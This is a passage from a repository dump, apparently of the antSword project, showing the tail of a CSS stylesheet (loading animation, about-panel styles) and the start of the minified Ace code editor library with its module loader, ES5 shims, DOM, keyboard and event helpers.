25px solid #666;\n  border-radius: 25px;\n  -webkit-animation: rotate_pacman_half_up 0.5s 0s infinite;\n          animation: rotate_pacman_half_up 0.5s 0s infinite; }\n.pacman > div:nth-child(2) {\n  width: 0px;\n  height: 0px;\n  border-right: 25px solid transparent;\n  border-top: 25px solid #666;\n  border-left: 25px solid #666;\n  border-bottom: 25px solid #666;\n  border-radius: 25px;\n  -webkit-animation: rotate_pacman_half_down 0.5s 0s infinite;\n          animation: rotate_pacman_half_down 0.5s 0s infinite;\n  margin-top: -50px; }\n.pacman > div:nth-child(3), .pacman > div:nth-child(4), .pacman > div:nth-child(5), .pacman > div:nth-child(6) {\n  background-color: #666;\n  width: 15px;\n  height: 15px;\n  border-radius: 100%;\n  margin: 2px;\n  width: 10px;\n  height: 10px;\n  position: absolute;\n  -webkit-transform: translate(0, -6.25px);\n      -ms-transform: translate(0, -6.25px);\n          transform: translate(0, -6.25px);\n  top: 25px;\n  left: 100px; }\n\n\n/*关于*/\n.about {\n  font-family: sans-serif;\n  -webkit-user-select: none;\n}\n.about > img {\n  width: 30%;\n}\n.about > img:hover {\n -webkit-animation: tada 1s .2s ease both;\n -moz-animation: tada 1s .2s ease both;\n }\n@-moz-keyframes tada{0%{-moz-transform:scale(1);}10%,20%{-moz-transform:scale(0.9) rotate(-3deg);}30%,50%,70%,90%{-moz-transform:scale(1.1) rotate(3deg);}40%,60%,80%{-moz-transform:scale(1.1) rotate(-3deg);}100%{-moz-transform:scale(1) rotate(0);}}\n@-webkit-keyframes tada{0%{-webkit-transform:scale(1);}10%,20%{-webkit-transform:scale(0.9) rotate(-3deg);}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);}100%{-webkit-transform:scale(1) rotate(0);}}\n\n.about > hr {\n  width: 66%;\n  border-color: #ececec;\n  border-top: none;\n}\n\n.about > p {\n  color: #ececec;\n}\n.about > h2 > span {\n  font-size: 14px;\n  color: #9E9E9E;\n}\n.about a {\n  text-decoration: blink;\n  color: #795548;\n  transition: all .5s linear;\n  font-size: 14px;\n}\n.about a:hover {\n  color: #009688;\n}\n\n\n\nwebview {\n  display:inline-flex;\n  width:100%;\n  height:100%;\n}\nwebview.hide {\n  flex: 0 1;\n  width: 0px;\n  height: 0px;\n}\n\n\n/*滚动栏样式\n\n::-webkit-scrollbar-track-piece {\n\tbackground-color:#f5f5f5;\n\tborder-left:1px solid #d2d2d2;\n}\n::-webkit-scrollbar {\n\twidth:13px;\n\theight:13px;\n}\n::-webkit-scrollbar-thumb {\n\tbackground-color:#c2c2c2;\n\tbackground-clip:padding-box;\n\tborder:1px solid #979797;\n\tmin-height:28px;\n}\n::-webkit-scrollbar-thumb:hover {\n\tborder:1px solid #636363;\n\tbackground-color:#929292;\n}\n*/\n"
  },
  {
    "path": "antSword/static/libs/ace/ace.js",
    "content": "(function(){function o(n){var i=e;n&&(e[n]||(e[n]={}),i=e[n]);if(!i.define||!i.define.packaged)t.original=i.define,i.define=t,i.define.packaged=!0;if(!i.require||!i.require.packaged)r.original=i.require,i.require=r,i.require.packaged=!0}var ACE_NAMESPACE = \"ace\",e=function(){return this}();!e&&typeof window!=\"undefined\"&&(e=window);if(!ACE_NAMESPACE&&typeof requirejs!=\"undefined\")return;var t=function(e,n,r){if(typeof e!=\"string\"){t.original?t.original.apply(this,arguments):(console.error(\"dropping module because define wasn't a string.\"),console.trace());return}arguments.length==2&&(r=n),t.modules[e]||(t.payloads[e]=r,t.modules[e]=null)};t.modules={},t.payloads={};var n=function(e,t,n){if(typeof t==\"string\"){var i=s(e,t);if(i!=undefined)return n&&n(),i}else if(Object.prototype.toString.call(t)===\"[object Array]\"){var o=[];for(var u=0,a=t.length;u<a;++u){var f=s(e,t[u]);if(f==undefined&&r.original)return;o.push(f)}return n&&n.apply(null,o)||!0}},r=function(e,t){var i=n(\"\",e,t);return i==undefined&&r.original?r.original.apply(this,arguments):i},i=function(e,t){if(t.indexOf(\"!\")!==-1){var n=t.split(\"!\");return i(e,n[0])+\"!\"+i(e,n[1])}if(t.charAt(0)==\".\"){var r=e.split(\"/\").slice(0,-1).join(\"/\");t=r+\"/\"+t;while(t.indexOf(\".\")!==-1&&s!=t){var s=t;t=t.replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return t},s=function(e,r){r=i(e,r);var s=t.modules[r];if(!s){s=t.payloads[r];if(typeof s==\"function\"){var o={},u={id:r,uri:\"\",exports:o,packaged:!0},a=function(e,t){return n(r,e,t)},f=s(a,o,u);o=f||u.exports,t.modules[r]=o,delete t.payloads[r]}s=t.modules[r]=o||s}return s};o(ACE_NAMESPACE)})(),ace.define(\"ace/lib/regexp\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function o(e){return(e.global?\"g\":\"\")+(e.ignoreCase?\"i\":\"\")+(e.multiline?\"m\":\"\")+(e.extended?\"x\":\"\")+(e.sticky?\"y\":\"\")}function u(e,t,n){if(Array.prototype.indexOf)return e.indexOf(t,n);for(var r=n||0;r<e.length;r++)if(e[r]===t)return r;return-1}var r={exec:RegExp.prototype.exec,test:RegExp.prototype.test,match:String.prototype.match,replace:String.prototype.replace,split:String.prototype.split},i=r.exec.call(/()??/,\"\")[1]===undefined,s=function(){var e=/^/g;return r.test.call(e,\"\"),!e.lastIndex}();if(s&&i)return;RegExp.prototype.exec=function(e){var t=r.exec.apply(this,arguments),n,a;if(typeof e==\"string\"&&t){!i&&t.length>1&&u(t,\"\")>-1&&(a=RegExp(this.source,r.replace.call(o(this),\"g\",\"\")),r.replace.call(e.slice(t.index),a,function(){for(var e=1;e<arguments.length-2;e++)arguments[e]===undefined&&(t[e]=undefined)}));if(this._xregexp&&this._xregexp.captureNames)for(var f=1;f<t.length;f++)n=this._xregexp.captureNames[f-1],n&&(t[n]=t[f]);!s&&this.global&&!t[0].length&&this.lastIndex>t.index&&this.lastIndex--}return t},s||(RegExp.prototype.test=function(e){var t=r.exec.call(this,e);return t&&this.global&&!t[0].length&&this.lastIndex>t.index&&this.lastIndex--,!!t})}),ace.define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}}),ace.define(\"ace/lib/fixoldbrowsers\",[\"require\",\"exports\",\"module\",\"ace/lib/regexp\",\"ace/lib/es5-shim\"],function(e,t,n){\"use strict\";e(\"./regexp\"),e(\"./es5-shim\")}),ace.define(\"ace/lib/dom\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=\"http://www.w3.org/1999/xhtml\";t.getDocumentHead=function(e){return e||(e=document),e.head||e.getElementsByTagName(\"head\")[0]||e.documentElement},t.createElement=function(e,t){return document.createElementNS?document.createElementNS(t||r,e):document.createElement(e)},t.hasCssClass=function(e,t){var n=(e.className||\"\").split(/\\s+/g);return n.indexOf(t)!==-1},t.addCssClass=function(e,n){t.hasCssClass(e,n)||(e.className+=\" \"+n)},t.removeCssClass=function(e,t){var n=e.className.split(/\\s+/g);for(;;){var r=n.indexOf(t);if(r==-1)break;n.splice(r,1)}e.className=n.join(\" \")},t.toggleCssClass=function(e,t){var n=e.className.split(/\\s+/g),r=!0;for(;;){var i=n.indexOf(t);if(i==-1)break;r=!1,n.splice(i,1)}return r&&n.push(t),e.className=n.join(\" \"),r},t.setCssClass=function(e,n,r){r?t.addCssClass(e,n):t.removeCssClass(e,n)},t.hasCssString=function(e,t){var n=0,r;t=t||document;if(t.createStyleSheet&&(r=t.styleSheets)){while(n<r.length)if(r[n++].owningElement.id===e)return!0}else if(r=t.getElementsByTagName(\"style\"))while(n<r.length)if(r[n++].id===e)return!0;return!1},t.importCssString=function(n,i,s){s=s||document;if(i&&t.hasCssString(i,s))return null;var o;i&&(n+=\"\\n/*# sourceURL=ace/css/\"+i+\" */\"),s.createStyleSheet?(o=s.createStyleSheet(),o.cssText=n,i&&(o.owningElement.id=i)):(o=s.createElementNS?s.createElementNS(r,\"style\"):s.createElement(\"style\"),o.appendChild(s.createTextNode(n)),i&&(o.id=i),t.getDocumentHead(s).appendChild(o))},t.importCssStylsheet=function(e,n){if(n.createStyleSheet)n.createStyleSheet(e);else{var r=t.createElement(\"link\");r.rel=\"stylesheet\",r.href=e,t.getDocumentHead(n).appendChild(r)}},t.getInnerWidth=function(e){return parseInt(t.computedStyle(e,\"paddingLeft\"),10)+parseInt(t.computedStyle(e,\"paddingRight\"),10)+e.clientWidth},t.getInnerHeight=function(e){return parseInt(t.computedStyle(e,\"paddingTop\"),10)+parseInt(t.computedStyle(e,\"paddingBottom\"),10)+e.clientHeight},t.scrollbarWidth=function(e){var n=t.createElement(\"ace_inner\");n.style.width=\"100%\",n.style.minWidth=\"0px\",n.style.height=\"200px\",n.style.display=\"block\";var r=t.createElement(\"ace_outer\"),i=r.style;i.position=\"absolute\",i.left=\"-10000px\",i.overflow=\"hidden\",i.width=\"200px\",i.minWidth=\"0px\",i.height=\"150px\",i.display=\"block\",r.appendChild(n);var s=e.documentElement;s.appendChild(r);var o=n.offsetWidth;i.overflow=\"scroll\";var u=n.offsetWidth;return o==u&&(u=r.clientWidth),s.removeChild(r),o-u};if(typeof document==\"undefined\"){t.importCssString=function(){};return}window.pageYOffset!==undefined?(t.getPageScrollTop=function(){return window.pageYOffset},t.getPageScrollLeft=function(){return window.pageXOffset}):(t.getPageScrollTop=function(){return document.body.scrollTop},t.getPageScrollLeft=function(){return document.body.scrollLeft}),window.getComputedStyle?t.computedStyle=function(e,t){return t?(window.getComputedStyle(e,\"\")||{})[t]||\"\":window.getComputedStyle(e,\"\")||{}}:t.computedStyle=function(e,t){return t?e.currentStyle[t]:e.currentStyle},t.setInnerHtml=function(e,t){var n=e.cloneNode(!1);return n.innerHTML=t,e.parentNode.replaceChild(n,e),n},\"textContent\"in document.documentElement?(t.setInnerText=function(e,t){e.textContent=t},t.getInnerText=function(e){return e.textContent}):(t.setInnerText=function(e,t){e.innerText=t},t.getInnerText=function(e){return e.innerText}),t.getParentWindow=function(e){return e.defaultView||e.parentWindow}}),ace.define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define(\"ace/lib/keys\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";e(\"./fixoldbrowsers\");var r=e(\"./oop\"),i=function(){var e={MODIFIER_KEYS:{16:\"Shift\",17:\"Ctrl\",18:\"Alt\",224:\"Meta\"},KEY_MODS:{ctrl:1,alt:2,option:2,shift:4,\"super\":8,meta:8,command:8,cmd:8},FUNCTION_KEYS:{8:\"Backspace\",9:\"Tab\",13:\"Return\",19:\"Pause\",27:\"Esc\",32:\"Space\",33:\"PageUp\",34:\"PageDown\",35:\"End\",36:\"Home\",37:\"Left\",38:\"Up\",39:\"Right\",40:\"Down\",44:\"Print\",45:\"Insert\",46:\"Delete\",96:\"Numpad0\",97:\"Numpad1\",98:\"Numpad2\",99:\"Numpad3\",100:\"Numpad4\",101:\"Numpad5\",102:\"Numpad6\",103:\"Numpad7\",104:\"Numpad8\",105:\"Numpad9\",\"-13\":\"NumpadEnter\",112:\"F1\",113:\"F2\",114:\"F3\",115:\"F4\",116:\"F5\",117:\"F6\",118:\"F7\",119:\"F8\",120:\"F9\",121:\"F10\",122:\"F11\",123:\"F12\",144:\"Numlock\",145:\"Scrolllock\"},PRINTABLE_KEYS:{32:\" \",48:\"0\",49:\"1\",50:\"2\",51:\"3\",52:\"4\",53:\"5\",54:\"6\",55:\"7\",56:\"8\",57:\"9\",59:\";\",61:\"=\",65:\"a\",66:\"b\",67:\"c\",68:\"d\",69:\"e\",70:\"f\",71:\"g\",72:\"h\",73:\"i\",74:\"j\",75:\"k\",76:\"l\",77:\"m\",78:\"n\",79:\"o\",80:\"p\",81:\"q\",82:\"r\",83:\"s\",84:\"t\",85:\"u\",86:\"v\",87:\"w\",88:\"x\",89:\"y\",90:\"z\",107:\"+\",109:\"-\",110:\".\",186:\";\",187:\"=\",188:\",\",189:\"-\",190:\".\",191:\"/\",192:\"`\",219:\"[\",220:\"\\\\\",221:\"]\",222:\"'\"}},t,n;for(n in e.FUNCTION_KEYS)t=e.FUNCTION_KEYS[n].toLowerCase(),e[t]=parseInt(n,10);for(n in e.PRINTABLE_KEYS)t=e.PRINTABLE_KEYS[n].toLowerCase(),e[t]=parseInt(n,10);return r.mixin(e,e.MODIFIER_KEYS),r.mixin(e,e.PRINTABLE_KEYS),r.mixin(e,e.FUNCTION_KEYS),e.enter=e[\"return\"],e.escape=e.esc,e.del=e[\"delete\"],e[173]=\"-\",function(){var t=[\"cmd\",\"ctrl\",\"alt\",\"shift\"];for(var n=Math.pow(2,t.length);n--;)e.KEY_MODS[n]=t.filter(function(t){return n&e.KEY_MODS[t]}).join(\"-\")+\"-\"}(),e.KEY_MODS[0]=\"\",e.KEY_MODS[-1]=\"input-\",e}();r.mixin(t,i),t.keyCodeToString=function(e){var t=i[e];return typeof t!=\"string\"&&(t=String.fromCharCode(e)),t.toLowerCase()}}),ace.define(\"ace/lib/useragent\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.OS={LINUX:\"LINUX\",MAC:\"MAC\",WINDOWS:\"WINDOWS\"},t.getOS=function(){return t.isMac?t.OS.MAC:t.isLinux?t.OS.LINUX:t.OS.WINDOWS};if(typeof navigator!=\"object\")return;var r=(navigator.platform.match(/mac|win|linux/i)||[\"other\"])[0].toLowerCase(),i=navigator.userAgent;t.isWin=r==\"win\",t.isMac=r==\"mac\",t.isLinux=r==\"linux\",t.isIE=navigator.appName==\"Microsoft Internet Explorer\"||navigator.appName.indexOf(\"MSAppHost\")>=0?parseFloat((i.match(/(?:MSIE |Trident\\/[0-9]+[\\.0-9]+;.*rv:)([0-9]+[\\.0-9]+)/)||[])[1]):parseFloat((i.match(/(?:Trident\\/[0-9]+[\\.0-9]+;.*rv:)([0-9]+[\\.0-9]+)/)||[])[1]),t.isOldIE=t.isIE&&t.isIE<9,t.isGecko=t.isMozilla=(window.Controllers||window.controllers)&&window.navigator.product===\"Gecko\",t.isOldGecko=t.isGecko&&parseInt((i.match(/rv\\:(\\d+)/)||[])[1],10)<4,t.isOpera=window.opera&&Object.prototype.toString.call(window.opera)==\"[object Opera]\",t.isWebKit=parseFloat(i.split(\"WebKit/\")[1])||undefined,t.isChrome=parseFloat(i.split(\" Chrome/\")[1])||undefined,t.isAIR=i.indexOf(\"AdobeAIR\")>=0,t.isIPad=i.indexOf(\"iPad\")>=0,t.isTouchPad=i.indexOf(\"TouchPad\")>=0,t.isChromeOS=i.indexOf(\" CrOS \")>=0}),ace.define(\"ace/lib/event\",[\"require\",\"exports\",\"module\",\"ace/lib/keys\",\"ace/lib/useragent\"],function(e,t,n){\"use strict\";function o(e,t,n){var o=s(t);if(!i.isMac&&u){if(u[91]||u[92])o|=8;if(u.altGr){if((3&o)==3)return;u.altGr=0}if(n===18||n===17){var f=\"location\"in t?t.location:t.keyLocation;if(n===17&&f===1)u[n]==1&&(a=t.timeStamp);else if(n===18&&o===3&&f===2){var l=t.timeStamp-a;l<50&&(u.altGr=!0)}}}n in r.MODIFIER_KEYS&&(n=-1),o&8&&(n===91||n===93)&&(n=-1);if(!o&&n===13){var f=\"location\"in t?t.location:t.keyLocation;if(f===3){e(t,o,-n);if(t.defaultPrevented)return}}if(i.isChromeOS&&o&8){e(t,o,n);if(t.defaultPrevented)return;o&=-9}return!!o||n in r.FUNCTION_KEYS||n in r.PRINTABLE_KEYS?e(t,o,n):!1}function f(e){u=Object.create(null)}var r=e(\"./keys\"),i=e(\"./useragent\");t.addListener=function(e,t,n){if(e.addEventListener)return e.addEventListener(t,n,!1);if(e.attachEvent){var r=function(){n.call(e,window.event)};n._wrapper=r,e.attachEvent(\"on\"+t,r)}},t.removeListener=function(e,t,n){if(e.removeEventListener)return e.removeEventListener(t,n,!1);e.detachEvent&&e.detachEvent(\"on\"+t,n._wrapper||n)},t.stopEvent=function(e){return t.stopPropagation(e),t.preventDefault(e),!1},t.stopPropagation=function(e){e.stopPropagation?e.stopPropagation():e.cancelBubble=!0},t.preventDefault=function(e){e.preventDefault?e.preventDefault():e.returnValue=!1},t.getButton=function(e){return e.type==\"dblclick\"?0:e.type==\"contextmenu\"||i.isMac&&e.ctrlKey&&!e.altKey&&!e.shiftKey?2:e.preventDefault?e.button:{1:0,2:2,4:1}[e.button]},t.capture=function(e,n,r){function i(e){n&&n(e),r&&r(e),t.removeListener(document,\"mousemove\",n,!0),t.removeListener(document,\"mouseup\",i,!0),t.removeListener(document,\"dragstart\",i,!0)}return t.addListener(document,\"mousemove\",n,!0),t.addListener(document,\"mouseup\",i,!0),t.addListener(document,\"dragstart\",i,!0),i},t.addTouchMoveListener=function(e,n){if(\"ontouchmove\"in e){var r,i;t.addListener(e,\"touchstart\",function(e){var t=e.changedTouches[0];r=t.clientX,i=t.clientY}),t.addListener(e,\"touchmove\",function(e){var t=1,s=e.changedTouches[0];e.wheelX=-(s.clientX-r)/t,e.wheelY=-(s.clientY-i)/t,r=s.clientX,i=s.clientY,n(e)})}},t.addMouseWheelListener=function(e,n){\"onmousewheel\"in e?t.addListener(e,\"mousewheel\",function(e){var t=8;e.wheelDeltaX!==undefined?(e.wheelX=-e.wheelDeltaX/t,e.wheelY=-e.wheelDeltaY/t):(e.wheelX=0,e.wheelY=-e.wheelDelta/t),n(e)}):\"onwheel\"in e?t.addListener(e,\"wheel\",function(e){var t=.35;switch(e.deltaMode){case e.DOM_DELTA_PIXEL:e.wheelX=e.deltaX*t||0,e.wheelY=e.deltaY*t||0;break;case e.DOM_DELTA_LINE:case e.DOM_DELTA_PAGE:e.wheelX=(e.deltaX||0)*5,e.wheelY=(e.deltaY||0)*5}n(e)}):t.addListener(e,\"DOMMouseScroll\",function(e){e.axis&&e.axis==e.HORIZONTAL_AXIS?(e.wheelX=(e.detail||0)*5,e.wheelY=0):(e.wheelX=0,e.wheelY=(e.detail||0)*5),n(e)})},t.addMultiMouseDownListener=function(e,n,r,s){var o=0,u,a,f,l={2:\"dblclick\",3:\"tripleclick\",4:\"quadclick\"};t.addListener(e,\"mousedown\",function(e){t.getButton(e)!==0?o=0:e.detail>1?(o++,o>4&&(o=1)):o=1;if(i.isIE){var c=Math.abs(e.clientX-u)>5||Math.abs(e.clientY-a)>5;if(!f||c)o=1;f&&clearTimeout(f),f=setTimeout(function(){f=null},n[o-1]||600),o==1&&(u=e.clientX,a=e.clientY)}e._clicks=o,r[s](\"mousedown\",e);if(o>4)o=0;else if(o>1)return r[s](l[o],e)}),i.isOldIE&&t.addListener(e,\"dblclick\",function(e){o=2,f&&clearTimeout(f),f=setTimeout(function(){f=null},n[o-1]||600),r[s](\"mousedown\",e),r[s](l[o],e)})};var s=!i.isMac||!i.isOpera||\"KeyboardEvent\"in window?function(e){return 0|(e.ctrlKey?1:0)|(e.altKey?2:0)|(e.shiftKey?4:0)|(e.metaKey?8:0)}:function(e){return 0|(e.metaKey?1:0)|(e.altKey?2:0)|(e.shiftKey?4:0)|(e.ctrlKey?8:0)};t.getModifierString=function(e){return r.KEY_MODS[s(e)]};var u=null,a=0;t.addCommandKeyListener=function(e,n){var r=t.addListener;if(i.isOldGecko||i.isOpera&&!(\"KeyboardEvent\"in window)){var s=null;r(e,\"keydown\",function(e){s=e.keyCode}),r(e,\"keypress\",function(e){return o(n,e,s)})}else{var a=null;r(e,\"keydown\",function(e){u[e.keyCode]=(u[e.keyCode]||0)+1;var t=o(n,e,e.keyCode);return 